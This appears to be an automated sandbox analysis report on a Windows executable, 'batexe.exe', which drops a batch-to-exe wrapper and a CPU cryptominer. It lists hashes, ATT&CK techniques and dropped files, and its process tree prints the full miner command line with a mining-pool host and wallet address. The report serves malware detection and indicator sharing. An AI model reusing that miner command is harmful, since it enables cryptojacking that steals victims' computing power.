73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
23/02/2024, 14:30

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4796	b2e.exe
1048	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1048	cpuminer-sse2.exe
1048	cpuminer-sse2.exe
1048	cpuminer-sse2.exe
1048	cpuminer-sse2.exe
1048	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3324-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3324 wrote to memory of 4796	3324	batexe.exe	90
PID 3324 wrote to memory of 4796	3324	batexe.exe	90
PID 3324 wrote to memory of 4796	3324	batexe.exe	90
PID 4796 wrote to memory of 1212	4796	b2e.exe	91
PID 4796 wrote to memory of 1212	4796	b2e.exe	91
PID 4796 wrote to memory of 1212	4796	b2e.exe	91
PID 1212 wrote to memory of 1048	1212	cmd.exe	94
PID 1212 wrote to memory of 1048	1212	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3324
- C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6189.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1212
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\b2e.exe

Filesize
3.9MB

MD5
9a99034eda6fbfd94ee3fc215c0d3c50

SHA1
82b8652ab4e665d4a4120a912421d9e68e973970

SHA256
382dfd4d162551b0228027f4c317bd957a4d50889b27b583f42dc60be3c71098

SHA512
ec15784c8048aa377461a4743dd056aded45d125c5309823d726a7eebb7ba66ef6c0295ec98bf3d613641c89b920037f7c0a25ccd44769c126db1b62743d45a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\b2e.exe

Filesize
4.0MB

MD5
b15b4a955adc3d092de0ba146b4f36ac

SHA1
51e8cf629251e7e0b65b1b94367fbe3115c0f9bc

SHA256
654d153486b8e66266546eb647b4f0c9872cf8f8388b6fa3045e0bc8cfc35ff6

SHA512
4f183339c45b10a397fc3133a5a031505625edb5ba912a91c7f18c06e74b540913fd205616e1a9afa905ec67f6205700552234613ce276c46b96d7157b76e01d

Download Submit
C:\Users\Admin\AppData\Local\Temp\5ED9.tmp\b2e.exe

Filesize
3.3MB

MD5
1a5fe67fccc9cd56a670941fd65a0e4c

SHA1
ff004a427fd7103f7640eab585559b24b16e8e33

SHA256
db0ea7664864cc5331503d261d4e07ec993f60982e0bd4f2acdc8b5e714f0fde

SHA512
442b760dc9eb32e624c328ac078454bd1b3150eda7c44b4318327742b4afce8f7e31c4297124794d8c8a47698e1f6d7c9b384c9f316d798aa3987e95909d3e95

Download Submit
C:\Users\Admin\AppData\Local\Temp\6189.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
d6255f49f51ea90e6103f6440934feab

SHA1
9e3db5459902ab5856d154382ed75d820be24f5c

SHA256
fab7c9e6942aa19012939168af8c5486918d1c8c5e211d4444df762eb0e1281c

SHA512
1ce9c9ceb600147a5e1ec6926f29bdfe35fc647fa856a6581c44104c813bd631d24b7dda81b588b30224d8c4e7084d6c71b1620dca09ef8af3b14818f5491b01

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
820f5bbf10dd4bb4094b6caadaf61432

SHA1
a651615c51628292172279f8cffd9a53682ee1b0

SHA256
5cb11de414fdf358e70c625819e46a0300797bd923c8d3e67db068e0b2f6864e

SHA512
2012f48b4a6ec9d302ffc2c36792983271ac804459c9476dc2d04473ab725c80f82782c9c437760f898df6dcbd2d8fd7ed29d9b77e47e1e3a6e29a715893017d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
af075bd0610c2a81dc136a8fd518598e

SHA1
7a73920ddca9b290dd4bf0a7727274f796dc5247

SHA256
6f16797cad18cf93c360e6c40e534729f23e3b6401c0e289737baec7a0f1d7ba

SHA512
8448c66d142b2379575fd03f98ca67b7cc9903fe383d533e12a67edea13776da87b014502aa50673b54349033fe86f02949efe135fc97d9727ff59692f97adfe

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
313a799993f62c98637a58d816f03e19

SHA1
886beaa48f9b8b34063ebacfd09894f1292f28f7

SHA256
0bd87d379e42d57a8e78643797010a7855e41326d06add673c7f2fbc384a52e3

SHA512
963029710cfa1a6e4198a161781962a2d5cd9093eb6da05af0aa35ead4bce49e07c0471992f8e118e5db4d9a81642f50ca0cfc3a67a061ce86e1bcd1afdde7a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1015KB

MD5
00e957698b407b0f0af9f06efe954195

SHA1
9c21d7dc6f88321dc481b78392b25d6e44128fae

SHA256
d952ce2d58f4af3aa8ea8260c8febe52f94f8145561c72551d0eb3e138db7166

SHA512
2d6fdd72d1be98ee8a20a3e88092babf7660417f2e4fb43e41ff1ac79ae760688f988474ef7911d8b06e4c3fcd717404e584825f6f5ce11d63eed3e308b5bc90

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
275b4e47b7bafdeaa4c93998cd533d0c

SHA1
944ebb4d7d2e36e6583ff99c45b2cb2e592f5a38

SHA256
4f8d6873a607b1ea5bde98f0798c598366c939c3f6aaaf4a2c059d330d11ed94

SHA512
c7b75bab4c3175054f734515a1a57ad223b04df387c6a5ce70565d17f4bad7b61370355ffb0d6cd4fc5a4ed36fcdebccdc910e6ad7c67afdf08f351c02360b31

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1048-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1048-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1048-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1048-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1048-45-0x000000005EB80000-0x000000005EC18000-memory.dmp

Filesize
608KB

Download
memory/1048-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1048-47-0x0000000000F20000-0x00000000027D5000-memory.dmp

Filesize
24.7MB

Download
memory/1048-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1048-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1048-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1048-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1048-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1048-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1048-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1048-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1048-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1048-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3324-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4796-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4796-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download